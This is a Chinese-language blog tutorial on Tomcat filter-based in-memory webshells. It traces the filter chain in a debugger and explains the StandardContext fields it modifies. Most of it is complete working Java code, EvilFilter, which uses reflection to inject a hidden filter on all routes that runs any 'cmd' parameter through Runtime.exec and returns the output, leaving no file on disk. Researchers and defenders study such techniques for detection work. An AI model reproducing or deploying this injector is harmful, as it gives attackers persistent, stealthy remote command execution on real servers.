0X01

关于java内存马有关的知识网络上有不少的分析文章,但是个人在学习的过程中觉得分析的不够详尽细致,作为第一次研究的读者可能有部分疑惑没有被解决,正好最近也在学习这方面的知识,故有了此文章

0X02:Tomcat,Filter执行顺序

类型

相信大家在看到这篇文章之前已经看过其他相关分析文章了,已经知道tomcat内存马有Filter型,servlet型等,至于如何搭建servlet,如何实现filter等基本环境搭建,本文不再赘述,其余文章都有很好的手把手教学,本文详解Filter型内存马

servlet搭建:

https://blog.csdn.net/gaoqingliang521/article/details/108677301

TomcatFiltet执行流程

相信大家对这样一张图非常熟悉

接下来我们就来深入了解下这个图,需要解决以下两个问题:

1.filter1,filter2的顺序是如何决定的

2.filter1,filter2…..的过滤链在代码中是如何体现的

3.filter1,filter2……是如何回来的,从图中看同一个filter经历了两次(请求一次,响应一次)他们执行了两次过滤吗?

下面是两个filter的代码

Filter1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(filterName = "one",value = "/filter")
public class FilterDemo implements Filter {

@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("第一个filter被调用");
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {
System.out.println("filter结束");

}
}

filter2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(filterName = "two",value = "/filter")
public class SeconedFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("第二个filter被调用");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}

部署项目,我们访问/filter可以看到控制台有如下输出

第一个疑问,filter1,filter2的顺序是如何决定的

FilterDemo和SeconedFilter这两个filter是谁先被调用的?凭什么SeconedFilter就是第二个调用的,难道是因为他的名字就叫SeconedFilter嘛!?,还真是!本文样例代码使用的是注解方式来定义filter的,按照类名的方式排序,F在S的前面,所以FilterDemo先调用,这一点idea按照文件名排序也能看出filter的优先级

第二个疑问,filter1,filter2…..的过滤链在代码中是如何体现的

既然已经知道了调用链顺序,那我们从FilterDemo的doFilter下断点,看一下他是如何调用到SeconedFilter的dofilter方法的

刚到filterChain,可以看到这个FilterChain中已经注册好了我们的三个filter(索引就体现了顺序),而我们的内存马的原理就是要修改filterChain的内容,这属于filterChain生成之前的分析,等等会讲到,现在我们分析的是filterchain的一个调用顺序,现在已经拿到之前生成好的filterChain了

跟进首先会检查一个全局变量,这里是false

直接跳转到else调用internalDoFilter

跟进,此处n便是我们filter的个数,这里是3是因为有一个filter是tomcat自带的filter,此处的功能就是遍历所有的filter对象依次调用他们的doFilter方法

为什么这里的pos一来就是1呢?是因为我们是从第一个filter的dofilter下的断点,也就是说第一个filter的doFilter已经被执行过了,所以此处是1,接下来

1
ApplicationFilterConfig filterConfig = filters[pos++];

直接获取第二个filter也就是SeconedFilter,然后pos值增加为2

可以看见此处正是我们的第二个filter

继续往下执行filter.dofilter,执行第二个filter的doFilter方法,就能进入SeconedFilter的Dofilter方法了

可以看到直接进入了第二个Filter的doFilter方法

我们接着跟进filterChain.doFilte,还是跟之前一样,Globals.IS_SECURITY_ENABLED为False,直接进

internalDoFilter

到了刚刚熟悉的地方,此处pos等于2,马上获取最后一个filter,也就是tomcat自带的filter

可以看到此处为Tomcat的Filter

然后继续调用Tomcat自带的Filter的doFilter方法

然后进入tomcat自带的Filter的DoFilter方法,和之前一样的,Globals.IS_SECURITY_ENABLED为Flase,进internalDoFilter

又来到此处,但是此时pos已经=3了(所有的Filter都遍历完了),不满足if条件,进else

然后经过一系列的if,但是都是false,最后进到else中

可以看到在Filter的最后会调用servlet.service

第三个疑问:filter1,filter2……是如何回来的,从图中看同一个filter经历了两次(请求一次,响应一次)他们执行了两次过滤吗?

刚刚的servlet.serice继续往下,会到此处,然后开始return

整个链式调用会按照进入filter的顺序一个个return回来

首先会return到filter2

接着return到filter1

注意,此处说的return是指倒序return到每个Filter的filterChain.doFilter方法,并且每个return都会往后执行完毕后在return下一个,可以看到我注释的代码,也就是说过滤器逻辑可以将过滤响应的逻辑写在filterChain.doFilter的后面,去掉注释,触发filter,可以观察到整个进出filter的顺序

0X03:Filter被执行前是什么样子的

关注Filter被执行前是什么样子的,核心就是在于我们如果能通过反射的手段去更改这个Filter被执行前的”样子”,增加一个虚空filter,并且注入其对应逻辑,那么不就创建了一个可以执行命令的filter(内存马)了了么,它只存在于本次tomcat生命周期中,不会在代码中落地。

我们关注到org.apache.catalina.core.ApplicationFilterFactory中的createFilterChain函数,这个里面便包含了我们所涉及到的所有重点参数:filterMaps,filterDefs,filterConfigs

可以看到这个调用栈是这样的,前面有一大堆invoke,有些文章跟了这一部分,但是个人认为对学习内存马没有什么用,,理解内存马并不需要理解前面的调用,直接看到在StandardWapperValue处在这个地方调用了我们createFilterChain

在createFilterChain方法获取了StandardContext,其中就包含和我们注入内存马有关的三个关键参数

filterMaps

filterMaps:这个里面保存了对应的url与不同filter的映射关系

它的结构是这样的一个map

filterDefs

filterDefs:包含了对应filter名称所对应的FilterDef对象,FilterDef对象则是存储了filter名称以及filter所对应的类等信息

filterConfigs

filterConfigs:包含了对应filter名称与其ApplicationFilterConfig对象的映射关系,ApplicationFilterConfig中存储的内容和FilterDef类似,也是filter名称以及对应的类,描述等信息

0X05:注入恶意Filter

我们新建一个filter,/create_eval_filter,我们访问这个filter就能注入内存马,使其在任意filter下传递cmd参数都可以执行命令

刚刚说到了我们的filterMaps,filterDefs,filterConfigs是决定一个filterChain内容和核心,他们都保存在servletContext的standardContext中,所以我们首先要获取的是standardContext,通过standardContext就可以得到filterMaps,filterDefs,filterConfigs

获取servletContext的standardContext

1
2
3
4
5
6
7
8
ServletContext servletContext = servletRequest.getServletContext();
Field appctx = null;
appctx = servletContext.getClass().getDeclaredField("context");//通过反射获取servletContext的context属性
appctx.setAccessible(true);//设置其可可修改性
ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);//获取applicationContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");//获取applicationContext的context属性
stdctx.setAccessible(true);//设置其可修改性
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);//获取到standardContext

通过standardContext修改filterConfigs,filterDefs和filterMaps

拿到standardContext,首先我们来修改filterConfigs,前面也提到了,filterConfigs的内容是对应filter名称与其ApplicationFilterConfig对象的映射关系,ApplicationFilterConfig中存储的内容和FilterDef类似,也是filter名称以及对应的类,描述等信息,所以修改filterConfigs就需要同步修改filterDefs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");//获取filterConfigs
Configs.setAccessible(true);//设置可修改
Map filterConfigs = null;
filterConfigs = (Map) Configs.get(standardContext);//获取filterConfigs的standardContext
String FilterName = "cmd_Filter";//定义filtername
Filter filter = new Filter() {//NEW一个Filter对象
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//在doFilter中写了我们命令执行逻辑,获取cmd参数并且执行输出回显
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
};
//注入FilterDef
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);//将我们刚刚new的filter设置进去
o.setFilterName(FilterName);//设置filername
o.setFilterClass(filter.getClass().getName());//设置filter所对应的类
standardContext.addFilterDef(o);//将FilterDef添加到standardContext中

//注入filterConfigs
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);//获取ApplicationFilterConfig构造函数
declaredConstructor1.setAccessible(true);//设置其可访问性
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);//实例化filterConfig
filterConfigs.put(FilterName,filterConfig);//将filterConfig放入filterConfigs

//注入filterMaps
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");//设置filter作用路由,此处是对所有路由生效
o1.setFilterName(FilterName);//设置filterName
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);//添加到standardContext中

servletResponse.getWriter().write("Success");

至此,我们动态添加Filter的工作就完成了,完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;

@WebFilter(filterName = "three",value = "/create_eval_filter")
public class EvilFilter implements Filter {

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) {
ServletContext servletContext = servletRequest.getServletContext();
Field appctx = null;
try {
appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = null;
filterConfigs = (Map) Configs.get(standardContext);
// 定义一个Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
};
// 自定义FilterDef并且将其加入standardContext
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterDef o = (FilterDef) declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);

//自定义filterConfigs并且将其加入standardContext

Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
servletResponse.getWriter().write("Success");

Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);


} catch (Exception e) {
System.out.println(1);
}

}

@Override
public void destroy() {

}
}

我们启动项目,首先访问/create_eval_filter,提示注入成功

然后向任意路由传参即可使用命令执行